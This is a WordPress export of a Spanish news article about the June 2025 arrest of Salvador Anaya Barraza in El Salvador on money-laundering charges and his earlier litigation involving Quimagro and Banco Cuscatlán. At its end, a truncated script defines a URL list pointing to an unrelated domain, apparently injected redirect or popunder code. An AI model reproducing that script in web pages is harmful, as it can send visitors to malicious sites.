{"id":10744,"date":"2025-06-08T16:03:03","date_gmt":"2025-06-08T22:03:03","guid":{"rendered":"https:\/\/diariofuentes.com\/?p=10744"},"modified":"2025-06-10T05:27:17","modified_gmt":"2025-06-10T11:27:17","slug":"salvador-anaya-dentenido-lavado-de-dinero","status":"publish","type":"post","link":"https:\/\/diariofuentes.com\/salvador-anaya-dentenido-lavado-de-dinero\/","title":{"rendered":"Salvador Anaya dentenido \u00bf\u201clavado de dinero\u201d?"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em><strong>Por Alessia Genoves<\/strong><\/em><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Salvador Enrique Anaya Barraza, el abogado constitucionalista, es detenido bajo las imputaciones de <em><strong>\u201clavado de dinero y activos\u201d<\/strong><\/em>. La acci\u00f3n administrativa ha sido ejecutada por la Fiscal\u00eda General de la Rep\u00fablica (FGR), que aseguraron que el incoado <em><strong>\u201cser\u00e1 remitido a los tribunales correspondientes en los pr\u00f3ximos d\u00edas\u201d.<\/strong><\/em> Entretanto, su defensor particular, Jaime Quintanilla, detalla que al menos 5 de los inmuebles de Anaya han sido allanados. Por otra parte, el abogado acumula una serie de procesos judiciales contra la empresa <em><strong>\u201cQu\u00edmica Agr\u00edcola Internacional, Sociedad An\u00f3nima de Capital Variable\u201d<\/strong><\/em> (QUIMAGRO, S.A. de C.V.), por presumibles da\u00f1os a su patrimonio por parte de la sociedad bancaria de Banco Cuscatl\u00e1n S.A de C.V.<\/p>\n\n\n\n<blockquote class=\"twitter-tweet\" data-media-max-width=\"560\"><p lang=\"es\" dir=\"ltr\"><a href=\"https:\/\/twitter.com\/hashtag\/Captura?src=hash&amp;ref_src=twsrc%5Etfw\">#Captura<\/a>| Este d\u00eda, se ha ejecutado la captura de Salvador Enrique Anaya Barraza, por el delito de Lavado de Dinero y Activos.<br><br>Ser\u00e1 remitido a los tribunales correspondientes en los pr\u00f3ximos d\u00edas. <a href=\"https:\/\/t.co\/8EJsIuIJAm\">pic.twitter.com\/8EJsIuIJAm<\/a><\/p>&mdash; Fiscal\u00eda General de la Rep\u00fablica El Salvador (@FGR_SV) <a href=\"https:\/\/twitter.com\/FGR_SV\/status\/1931444102622527923?ref_src=twsrc%5Etfw\">June 7, 2025<\/a><\/blockquote> <script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n\n\n\n<p class=\"wp-block-paragraph\">Anaya Barraza, no obstante, ha sostenido que el proceso es irregular; mientras que su defensa sostiene que el proceso podr\u00eda identificarse como una <em><strong>\u201cpersecuci\u00f3n pol\u00edtica\u201d<\/strong><\/em>. Entretanto, la empresa Quimagro S.A de C.V ha reiterado sus acusaciones en procesos anteriores, sosteniendo que su proceso <em><strong>\u201cno se trata de persecuci\u00f3n pol\u00edtica, por el caso que se\u00f1ala; podr\u00edan ser por otras las razones o causas;<\/strong><\/em> <em><strong>m\u00e1s no por lo que dice\u201d<\/strong><\/em>, seg\u00fan se detalla en un comunicado a la prensa, y en el proceso de amparo 181-2005 contra Anaya Barraza dej\u00f3 al descubierto irregularidades en el manejo de recursos y dilaciones procesales atribuidas al abogado.<\/p>\n\n\n\n<blockquote class=\"twitter-tweet\" data-media-max-width=\"560\"><p lang=\"es\" dir=\"ltr\">&quot;Su cuadro cl\u00ednico es delicado. Y no es una broma&quot;, advierte Jaime Quintanilla, abogado de <a href=\"https:\/\/twitter.com\/enrique_anayasv?ref_src=twsrc%5Etfw\">@enrique_anayasv<\/a> quien permanece detenido en <a href=\"https:\/\/twitter.com\/PNCSV?ref_src=twsrc%5Etfw\">@PNCSV<\/a> <a href=\"https:\/\/t.co\/D6UpSONBdX\">pic.twitter.com\/D6UpSONBdX<\/a><\/p>&mdash; Revista Elementos (@RevElementos) <a href=\"https:\/\/twitter.com\/RevElementos\/status\/1931523852166643826?ref_src=twsrc%5Etfw\">June 8, 2025<\/a><\/blockquote> <script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n\n\n\n<p class=\"wp-block-paragraph\">Para el a\u00f1o 2021, la C\u00e1mara Tercera de lo Civil de la Primera Secci\u00f3n Centro de San Salvador decret\u00f3 medidas cautelares en el expediente 92-MQCM-21, imponiendo un embargo preventivo sobre los activos de Banco Cuscatl\u00e1n y sus asociaciones de bancos por un monto de US$38,107,554.91, a petici\u00f3n de QUIMAGRO, S.A. de C.V. En el proceso, que tambi\u00e9n vincul\u00f3 a Anaya Barraza, no obstante se desestim\u00f3 una pretenci\u00f3n mayor de US$49,330,554.91 contra el Banco; y se estableci\u00f3 una sanci\u00f3nde US$59,941.94, seg\u00fan se constata en el expediente 356-CAM-2022 de la Sala de lo Civil de la Corte Suprema de Justicia.<\/p>\n\n\n\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-7736899852288659\"\n     crossorigin=\"anonymous\"><\/script>\n<ins class=\"adsbygoogle\"\n     style=\"display:block; text-align:center;\"\n     data-ad-layout=\"in-article\"\n     data-ad-format=\"fluid\"\n     data-ad-client=\"ca-pub-7736899852288659\"\n     data-ad-slot=\"4247830170\"><\/ins>\n<script>\n     (adsbygoogle = window.adsbygoogle || []).push({});\n<\/script>\n\n\n\n<h2 class=\"wp-block-heading has-large-font-size\"><strong>Amaya Barraza detenido \u00bfpersecuci\u00f3n pol\u00edtica?<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">La FGR fundament\u00f3 la captura de Anaya Barraza en el art\u00edculo 27 de la Ley Contra el Lavado de Dinero y de Activos. El informe de la Unidad Especializada detalla, tras la ejecuci\u00f3n del procedimiento, que la captura de Anaya Barraza resoibde al <em><strong>\u201cdelito de Lavado de Dinero y Activos\u201d,<\/strong><\/em> y que posteriormente <em><strong>\u201cs<\/strong><\/em><em><strong>er\u00e1 remitido a los tribunales correspondientes en los pr\u00f3ximos d\u00edas.\u201d<\/strong><\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Estas declaraciones oficiales subrayan la fase preliminar del procedimiento penal, en la que la detenci\u00f3n administrativa puede prolongarse hasta 15 d\u00edas bajo el R\u00e9gimen de Excepci\u00f3n, siempre que se tramiten diligencias complementarias para recabar testimonios, peritajes contables y requerimientos de informaci\u00f3n a entidades bancarias nacionales e internacionales.<\/p>\n\n\n\n<blockquote class=\"twitter-tweet\" data-media-max-width=\"560\"><p lang=\"es\" dir=\"ltr\">Abogado de Enrique Anaya, Jaime Quintanilla , se\u00f1ala que Anaya est\u00e1 fiscalmente solvente. <a href=\"https:\/\/t.co\/4O0qjjyDaM\">pic.twitter.com\/4O0qjjyDaM<\/a><\/p>&mdash; Radio YSUCA 91.7 FM (@ysuca91siete) <a href=\"https:\/\/twitter.com\/ysuca91siete\/status\/1931516452147745038?ref_src=twsrc%5Etfw\">June 8, 2025<\/a><\/blockquote> <script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script>\n\n\n\n<p class=\"wp-block-paragraph\">Entretanto, el abogado defensor, Jaime Quintanilla, refut\u00f3 la legalidad de la aprehensi\u00f3n, alegando que la FGR actu\u00f3 con procesos que podr\u00edan deducir una persecuci\u00f3n pol\u00edtica; y asegur\u00f3 que desconoce a cu\u00e1les son las evidencias que retom\u00f3, de Anaya Barraza. Por otra parte, tambi\u00e9n indic\u00f3 que su cliente se sent\u00eda perseguido: <em><strong>\u201cA nivel de redes sociales, \u00e9l expres\u00f3 que se sent\u00eda acosado, de que hab\u00edan unos expedientes que se estaban manejando en la secci\u00f3n de Investigaci\u00f3n Profesional, y todo lo dem\u00e1s\u2026. Afortunadamente, todo eso se pudo aclarar. Pero, de ah\u00ed, han derivado, ahora, para que la Fiscal\u00eda\u2026 no s\u00e9 de d\u00f3nde ha salido.\u201d<\/strong><\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En sus palabras, la defensa enfatiza la solvencia fiscal y moral de Anaya Barraza, destacando que <em><strong>\u201c\u00c9l paga impuestos, paga sus declaraciones. Es una persona fiscalmente solvente, y moralmente solvente\u201d <\/strong><\/em>Ante un cuestionamiento de la prensa sobre posibles indagaciones previas en el Ministerio de Hacienda, el defensor respondi\u00f3: \u201c<em><strong>S\u00ed, eso ser\u00eda un comienzo, pero nos conocemos de a\u00f1os\u2026 s\u00e9 la calidad de persona que es en el manejo de dinero. O sea, \u00e9l no es una persona que ande, por esas situaciones, o al que se le vaya a decir que tiene un dinero que no puede justificar.\u201d<\/strong><\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Asimismo, aludi\u00f3 al<em><strong> \u201cdelicado\u201d<\/strong><\/em> estado de salud de Anaya Barraza: <em><strong>\u201c\u00c9l tiene una enfermedad cr\u00f3nica. Es un cuadro que, para m\u00ed, lo puedo decir con pleno conocimiento porque soy una persona muy cercana a Enrique, \u2026 si no se le d\u00e1 \u00e9l puede sufrir una crisis peligrosa; \u00e9l puede morirse. Su cuadro cl\u00ednico es delicado.\u201d<\/strong><\/em><\/p>\n\n\n\n<div style=\"text-align:center;\"><div style=\"margin:8px 0px 4px;\"><a href=\"https:\/\/www.calameo.com\/books\/00649568086189ed46527\" target=\"_blank\">Ocr 181 2005 Contra Salvador Enrique Anaya Barraza<\/a><\/div><iframe loading=\"lazy\" src=\"\/\/v.calameo.com\/?bkcode=00649568086189ed46527&#038;mode=mini&#038;view=book&#038;page=11&#038;clickto=view&#038;clicktarget=_self\" width=\"480\" height=\"300\" frameborder=\"0\" scrolling=\"no\" allowtransparency allowfullscreen style=\"margin:0 auto;\"><\/iframe><div style=\"margin:4px 0px 8px;\"><a href=\"http:\/\/www.calameo.com\/\" target=\"_blank\"><\/a><\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">En \u00faltima instancia, Quintanilla asegur\u00f3 a la prensa que al menos 5 de los inmuebles de Anaya fueron allanados por la FGR, para desarrollar su investigaci\u00f3n: <strong><em>\u201cFueron cinco inmuebles donde se dieron los allanamientos, uno aqu\u00ed en condominio Los H\u00e9roes, donde \u00e9l tuvo una oficina, pero est\u00e1 desocupado; el otro fue en la colonia Miramonte, donde tambi\u00e9n tuvo una oficina un tiempo, el otro fue en la casa de su hija en Pinares donde fue detenido, un apartamento que tiene por Multiplaza, donde \u00e9l vive, y la oficina en Santa Elena\u201d.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La defensa compar\u00f3 la captura de Anaya Barraza con casos recientes de activistas sociales, como Ruth Eleonora L\u00f3pez, Fidez Zavala y Alejandro Henr\u00edquez, detenidos en mayo de 2025 por cargos de peculado y resistencia agresiva tras participar en protestas ambientales.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En el caso de L\u00f3pez, detenida del 18 de mayo de 2025, no se han precisado montos imputados ni se ha exhibido documentaci\u00f3n que respalde la acusaci\u00f3n de peculado, generando cuestionamientos sobre la proporcionalidad y la motivaci\u00f3n pol\u00edtica de sus detenciones. No obstante, la FGR presume que la ex-pol\u00edtica salvadore\u00f1a reporta indicios de enriquecimiento il\u00edcito en perjuicio del Estado.<\/p>\n\n\n\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-7736899852288659\"\n     crossorigin=\"anonymous\"><\/script>\n<ins class=\"adsbygoogle\"\n     style=\"display:block; text-align:center;\"\n     data-ad-layout=\"in-article\"\n     data-ad-format=\"fluid\"\n     data-ad-client=\"ca-pub-7736899852288659\"\n     data-ad-slot=\"4247830170\"><\/ins>\n<script>\n     (adsbygoogle = window.adsbygoogle || []).push({});\n<\/script>\n\n\n\n<h2 class=\"wp-block-heading has-large-font-size\"><strong>Salvador Anaya y Banco Cuscatl\u00e1n: embargo por $38 millones<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">El litigio promovido por QUIMAGRO, S.A. de C.V. contra Banco Cuscatl\u00e1n y sus asociaciones de bancos, a las que represent\u00f3 Salvador Anaya Barraza, deriv\u00f3 en la imposici\u00f3n de medidas cautelares preventivas por parte de la C\u00e1mara Tercera de lo Civil de la Primera Secci\u00f3n Centro de San Salvador, seg\u00fan consta en el expediente 92-MQCM-21.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La resoluci\u00f3n detalla: <em><strong>\u201cSe decreta el embargo preventivo sobre bienes, valores y cuentas por la suma de TREINTA Y OCHO MILLONES CIENTO SIETE MIL QUINIENTOS CINCUENTA Y CUATRO D\u00d3LARES CON NOVENTA Y UN CENTAVOS DE D\u00d3LAR ($ 38,107,554.91), m\u00e1s un tercio para intereses y costas procesales\u201d,<\/strong><\/em> seg\u00fan se constata en la resoluci\u00f3n F12EC.<\/p>\n\n\n\n<div style=\"text-align:center;\"><div style=\"margin:8px 0px 4px;\"><a href=\"https:\/\/www.calameo.com\/books\/0064956804677c367f35c\" target=\"_blank\">Aclaracion Necesaria Quimagro<\/a><\/div><iframe loading=\"lazy\" src=\"\/\/v.calameo.com\/?bkcode=0064956804677c367f35c&#038;mode=mini&#038;view=book&#038;page=2&#038;clickto=view&#038;clicktarget=_self\" width=\"480\" height=\"300\" frameborder=\"0\" scrolling=\"no\" allowtransparency allowfullscreen style=\"margin:0 auto;\"><\/iframe><div style=\"margin:4px 0px 8px;\"><a href=\"http:\/\/www.calameo.com\/\" target=\"_blank\"><\/a><\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">QUIMAGRO aleg\u00f3 que Scotiabank El Salvador, luego fusionado con Banco Cuscatl\u00e1n, incurri\u00f3 en <em><strong>\u201cvicios contractuales y pr\u00e1cticas abusivas\u201d<\/strong><\/em> al preparar un cr\u00e9dito agr\u00edcola en 2018, cuya ejecuci\u00f3n dej\u00f3 a la empresa sin liquidez operativa, provocando p\u00e9rdidas millonarias y el incumplimiento de garant\u00edas. Los auditores externos aportaron estados financieros y peritajes contables que, seg\u00fan la C\u00e1mara, justifican la necesidad de cautelar los activos del banco fusionado para asegurar la eficacia de una futura sentencia.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En el proceso de amparo 181-2005, promovido por Quimagro contra Salvador Enrique Anaya Barraza, la Sala de lo Constitucional formul\u00f3 observaciones respecto a su ejercicio profesional. Se documentaron recusaciones infundadas y dilaciones reiteradas en procedimientos civiles, lo que la Sala calific\u00f3 como<em><strong> \u201cpr\u00e1cticas contrarias a los principios de buena fe y celeridad procesal\u201d<\/strong><\/em>.<\/p>\n\n\n\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-7736899852288659\"\n     crossorigin=\"anonymous\"><\/script>\n<ins class=\"adsbygoogle\"\n     style=\"display:block; text-align:center;\"\n     data-ad-layout=\"in-article\"\n     data-ad-format=\"fluid\"\n     data-ad-client=\"ca-pub-7736899852288659\"\n     data-ad-slot=\"4247830170\"><\/ins>\n<script>\n     (adsbygoogle = window.adsbygoogle || []).push({});\n<\/script>\n\n\n\n<p class=\"wp-block-paragraph\">Como apoderado de Banco Cuscatl\u00e1n, Anaya Barraza suscribi\u00f3 escritos de defensa en los cuales solicit\u00f3 la revocatoria de sentencias favorables a QUIMAGRO, invocando supuestos vicios de forma en la notificaci\u00f3n de resoluciones. Dicha estrategia procesal, seg\u00fan Quimagro en un documento titulado <em><strong>\u201cAclaraci\u00f3n Necesaria\u201d,<\/strong><\/em> la calific\u00f3 como <em><strong>\u201cargucias procesales que entorpecen la ejecuci\u00f3n de la cosa juzgada\u201d,<\/strong><\/em> gener\u00f3 un retraso de m\u00e1s de dos a\u00f1os en la concreci\u00f3n de la responsabilidad civil del banco fusionado.<\/p>\n\n\n\n<div style=\"text-align:center;\"><div style=\"margin:8px 0px 4px;\"><a href=\"https:\/\/www.calameo.com\/books\/006495680f6f010290aeb\" target=\"_blank\">Embargo A Banco Cuscatl\u00e1n F12ec<\/a><\/div><iframe loading=\"lazy\" src=\"\/\/v.calameo.com\/?bkcode=006495680f6f010290aeb&#038;mode=mini&#038;view=book&#038;page=11&#038;clickto=view&#038;clicktarget=_self\" width=\"480\" height=\"300\" frameborder=\"0\" scrolling=\"no\" allowtransparency allowfullscreen style=\"margin:0 auto;\"><\/iframe><div style=\"margin:4px 0px 8px;\"><a href=\"http:\/\/www.calameo.com\/\" target=\"_blank\"><\/a><\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">El C\u00f3digo Procesal Civil y Mercantil, en sus art\u00edculos 433 y 437, permite la modificaci\u00f3n de medidas cautelares si existen <em><strong>\u201ccambios sustanciales en el estado de hecho o de derecho que motiven la instrumentaci\u00f3n de nuevas garant\u00edas\u201d.<\/strong><\/em> La C\u00e1mara consider\u00f3 que la fusi\u00f3n econ\u00f3mica entre Scotiabank El Salvador y Banco Cuscatl\u00e1n constituye tal elemento, habilitando el embargo por US$38,107,554.91 para resguardar los intereses de QUIMAGRO.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La responsabilidad indirecta de Anaya Barraza radica en haber promovido t\u00e1cticas que, seg\u00fan la demandante,<em><strong> \u201cdilataron indebidamente un reclamo leg\u00edtimo de indemnizaci\u00f3n\u201d<\/strong><\/em>, afectando la confianza en las instituciones bancarias y generando erogaciones adicionales por intereses y costas. Esta conducta tambi\u00e9n ha sido vinculada por la FGR a la presunta elaboraci\u00f3n de esquemas financieros il\u00edcitos, al emplear su asesor\u00eda para estructurar transferencias complejas.<\/p>\n\n\n\n<div style=\"text-align:center;\"><div style=\"margin:8px 0px 4px;\"><a href=\"https:\/\/www.calameo.com\/books\/0064956802e90c17d3e17\" target=\"_blank\">356 Cam 2022 Condena $59 Mil<\/a><\/div><iframe loading=\"lazy\" src=\"\/\/v.calameo.com\/?bkcode=0064956802e90c17d3e17&#038;mode=mini&#038;view=book&#038;page=8&#038;clickto=view&#038;clicktarget=_self\" width=\"480\" height=\"300\" frameborder=\"0\" scrolling=\"no\" allowtransparency allowfullscreen style=\"margin:0 auto;\"><\/iframe><div style=\"margin:4px 0px 8px;\"><a href=\"http:\/\/www.calameo.com\/\" target=\"_blank\">L<\/a><\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script type=\"text\/javascript\">var URLlist = [[\"https:\/\/isolatedcompliments.com\/z489f98t5?key=308fd8f5bc9e93cd11160e42bbd5f43f\", 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